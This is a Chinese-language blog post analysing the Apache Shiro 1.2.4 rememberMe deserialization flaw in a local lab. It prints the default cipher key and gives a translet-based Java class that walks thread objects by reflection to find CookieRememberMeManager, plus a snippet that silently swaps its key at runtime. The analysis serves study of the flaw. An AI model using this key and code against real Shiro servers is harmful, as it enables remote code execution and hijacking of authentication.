shiro 1.2.4反序列化命令执行漏洞分析
前几天本来想复现fastjson系列的漏洞,但是看了一段时间fastjson的源码变量名称都是x、y、z这种无规则无规范的命名方式,十分头晕,所以打算还是先分析一下shiro的漏洞原理吧。
下方所有实验代码在https://github.com/f19t/shiro_1.2.4env
环境准备:
- jdk 1.8.0_152
- idea 2023.3.3
- shiro-spring 1.2.4
- Spring boot 2.6.11
反序列化漏洞位置
反序列化的位置在org.apache.shiro.io.DefaultSerializer的deserialize() 方法
我们在反序列化的位置下断点,我们使用写的登录界面成功登录之后,会获得一个rememberMe,然后我们带着rememberMe访问任何一个界面,注意shiro1.2.4我在写spring boot这个程序的时候会获取一个jsessionid,我们需要删掉这个jsessionid,只保留rememberMe的cookie进行访问。
关键堆栈
1 2 3 4 5 6
| deserialize:77, DefaultSerializer (org.apache.shiro.io) deserialize:514, AbstractRememberMeManager (org.apache.shiro.mgt) convertBytesToPrincipals:431, AbstractRememberMeManager (org.apache.shiro.mgt) getRememberedPrincipals:396, AbstractRememberMeManager (org.apache.shiro.mgt) getRememberedIdentity:604, DefaultSecurityManager (org.apache.shiro.mgt) resolvePrincipals:492, DefaultSecurityManager (org.apache.shiro.mgt)
|
我们跟进去看一下代码运行的逻辑。
首先resolvePrincipals中调用principals = this.getRememberedIdentity(context);去处理rememberMe,
然后getRememberedIdentity调用getRememberedPrincipals。
之后getRememberedPrincipals又两个关键处理:第一处getRememberedSerializedIdentity进行base64解码。第二处就是将字节进行解密并反序列化。
第一处解码base64
第二处解密并反序列化。
这里注意解密的方法在org.apache.shiro.mgt.AbstractRememberMeManager中,其中key默认为private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode(“kPH+bIxk5D2deZiIxcaaaA==”);
如果没有设置key。加解密key为默认值。
- private byte[] encryptionCipherKey;
- private byte[] decryptionCipherKey;
该类中存在setCipherKey方法,如果设置了setCipherKey那么最终的key为设置的。
这里我们并没有进行设置key所以使用默认的key进行加解密。
至此,我们就可以进行构造反序列化,执行命令,执行回显这里就不多介绍了。
shiro tips
修改key
我们知道获取key是在org.apache.shiro.mgt.AbstractRememberMeManager但是这个类是抽象类,具体实现类在org.apache.shiro.web.mgt.CookieRememberMeManager。
我们用之前写的搜索程序,来搜一下看一下线程里面是否包含CookieRememberMeManager。
这里我又学到一点,fields[i].get(obj).getClass().getName()获取到的可能是org.springframework.web.servlet.DispatcherServlet$$Lambda$572/995785821这种匿名类或者是代理的类,我们通过Class.forName()是获取不到这种类的,所有我把之前写的location代码进行了一处修改,就是把Class clazz = lcat.obj.getClass();直接从obj去获取class。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230
| #location.java package org.example.spring_shiro;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.connector.Request; import org.apache.catalina.connector.RequestFacade; import org.apache.catalina.connector.Response;
import java.io.IOException; import java.io.PrintWriter; import java.lang.reflect.Field; import java.util.*;
public class location extends AbstractTranslet {
public location(Object obj, String clazz, String path) { this.obj = obj; this.path = path; this.clazz = clazz; } public Object obj; public String path; public String clazz; public static Queue<location> queue = new LinkedList<location>(); public static Set<Object> set = new HashSet<Object>();
public static void search() throws ClassNotFoundException { location laco = new location(Thread.currentThread(), "org.apache.tomcat.util.threads.TaskThread","TaskThread"); queue.offer(laco); set.add(Thread.currentThread()); int i=0; while (queue.size()>0) { i++; basic_search1(queue.poll());
} }
public static void basic_search1(location lcat) throws ClassNotFoundException {
Object obj = lcat.obj; String path = lcat.path; Class clazz = lcat.obj.getClass();
try {
for (; clazz != Object.class; clazz = clazz.getSuperclass()) {
Field fields[] = clazz.getDeclaredFields();
for (int i = 0; i < fields.length; i++) { fields[i].setAccessible(true); if (fields[i].get(obj) == null){continue;}
if (!isblack(fields[i].getType().getName()) && fields[i].get(obj) != null && set.add(fields[i].get(obj))) { if (is_map(fields[i].getType().getSimpleName())) { Map map = (Map) fields[i].get(obj); if (map.size() > 0) { for (int map_num = 0; map_num < map.size(); map_num++) { Object map_obj = map.get(map_num); if (map_obj != null && set.add(map_obj) && !isblack(map_obj.getClass().getName())) { location l = new location(map_obj, map_obj.getClass().getName(), path + "-->" + fields[i].getName() + "[" + map_num + "]"+map_obj.getClass().getName());
queue.offer(l); }
} } continue; } else if (is_list(fields[i].getType().getSimpleName())) { List list = (List) fields[i].get(obj); if (list.size() > 0) { for (int list_num = 0; list_num < list.size(); list_num++) { Object list_obj = list.get(list_num); if (list_obj != null && set.add(list_obj) && !isblack(list_obj.getClass().getName())) { location l = new location(list_obj, list_obj.getClass().getName(), path + "-->" + fields[i].getName() + "[" + list_num + "]"+list_obj.getClass().getName());
queue.offer(l); }
} } continue; } else if (fields[i].getType().isArray()) {
try { Object[] arrobj = (Object[])fields[i].get(obj); if (arrobj.length > 0) { for (int obj_num = 0; obj_num < arrobj.length; obj_num++) { Object arr_obj = arrobj[obj_num]; if (arr_obj != null && set.add(arr_obj) && !isblack(arr_obj.getClass().getName())) { location l = new location(arr_obj, arr_obj.getClass().getName(), path + "-->" + fields[i].getName() + "[" + obj_num + "]"+arr_obj.getClass().getName());
queue.offer(l); }
} } }catch (Throwable e){
}
continue; } if (is_target(fields[i],obj)) { System.out.println(path+"--->"+fields[i].getName()+"("+fields[i].get(obj).getClass().getName()+")");
} location l = new location(fields[i].get(obj), fields[i].get(obj).getClass().getName(), path+"--->"+fields[i].getName()+"("+fields[i].get(obj).getClass().getName()+")"); queue.offer(l);
} } } } catch (IllegalAccessException ex) { throw new RuntimeException(ex); } } public static boolean isblack(String s) { Boolean aBoolean = false; List<String> black = new ArrayList<String>(Arrays.asList("java.lang.Byte", "java.lang.Short", "java.lang.Integer", "java.lang.Long", "java.lang.Float", "java.lang.Boolean", "java.lang.String", "java.lang.Class", "java.lang.Character",
"java.io.File", "byte", "short", "int", "long", "double", "float", "boolean" ));
for (int i = 0; i < black.size(); i++) { if (s == black.get(i)) { aBoolean = true; return aBoolean; } } return aBoolean; } public static boolean is_target(Field f,Object o) throws IllegalAccessException, ClassNotFoundException { boolean b = false; if (
f.get(o).getClass().getName().contains("CookieRememberMeManager")
){ return true; }
return b;
} public static boolean is_list(String s) { boolean b = false; if ("List".equals(s) || "ArrayList".equals(s)){ b = true; return b; } return b; } public static boolean is_map(String s) { boolean b = false; if ("Map".equals(s) || "HashMap".equals(s)){ b = true; return b; } return b;
}
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
我们之间在hello这个路径上添加location.search()
登录之后访问hello
我们可以获得线程里面的,这里我只获取到一条,网络上有人获取了两条,估计是版本的问题。
1 2 3 4 5 6
| TaskThread--->inheritableThreadLocals(java.lang.ThreadLocal$ThreadLocalMap)--> table[6]java.lang.ThreadLocal$ThreadLocalMap$Entry---> value(java.util.HashMap)--> table[6]java.util.HashMap$Node---> value(org.apache.shiro.web.mgt.DefaultWebSecurityManager)---> rememberMeManager(org.apache.shiro.web.mgt.CookieRememberMeManager)
|
我们尝试修改线程里面的key看一下能否修改全局的key。
首先我们设置两条访问入口路线。
1 2 3 4 5 6 7 8 9 10 11
| @GetMapping("/hello") public String hello() throws ClassNotFoundException { location.search(); return "hello"; }
@GetMapping("/hello1") public String hello1() throws ClassNotFoundException {
return "hello1"; }
|
访问hello是获取CookieRememberMeManager并修改key。
1 2 3 4 5 6
| if (is_target(fields[i],obj)) { System.out.println(path+"--->"+fields[i].getName()+"("+fields[i].get(obj).getClass().getName()+")"); CookieRememberMeManager cookieRememberMeManager = (CookieRememberMeManager) fields[i].get(obj); System.out.println( Base64.encodeToString(cookieRememberMeManager.getDecryptionCipherKey())); cookieRememberMeManager.setCipherKey(Base64.decode("3AvVhmFLUs0KTA3Kprsdag==")); }
|
然后我们在AbstractRememberMeManager的里面下两个断点。
- convertPrincipalsToBytes //生成rememberMe,会调用到encrypt
- convertPrincipalsToBytes //解密rememberMe,会调用decrypt
然后我们登录。
断点捕获到之后,我们调用评估表达式输入Base64.encodeToString(getDecryptionCipherKey())
我们发现key为kPH+bIxk5D2deZiIxcaaaA==。是默认的。
之后我们访问一下hello1。
发现key也是kPH+bIxk5D2deZiIxcaaaA==
之后我们在访问一下hello,在访问hello1。
我们发现key已经被改了。
并且我们的登录认证也掉了。需要重新登陆。
我在再重新登陆一下。
我们可以发现重新登陆的key也是修改之后的。
只要不重启,key就是我们修改之后的。
因为我们的key是从线程里获取的Thread.currentThread(),所以我们反序列化的时候就可以进行key的修改。
还有另一种key的修改方式,是通过agent技术里面的Instrumentation,这里就不展开讲了。
加载器
因为headers有长度限制,我们的payload如果复杂,可能过长,导致报错。这种情况,我们可以在rememberMe里面先传加载器。加载器先获取当前线程的request然后通过对body的操作进行复杂操作,这个加载器,我们后面文章在说。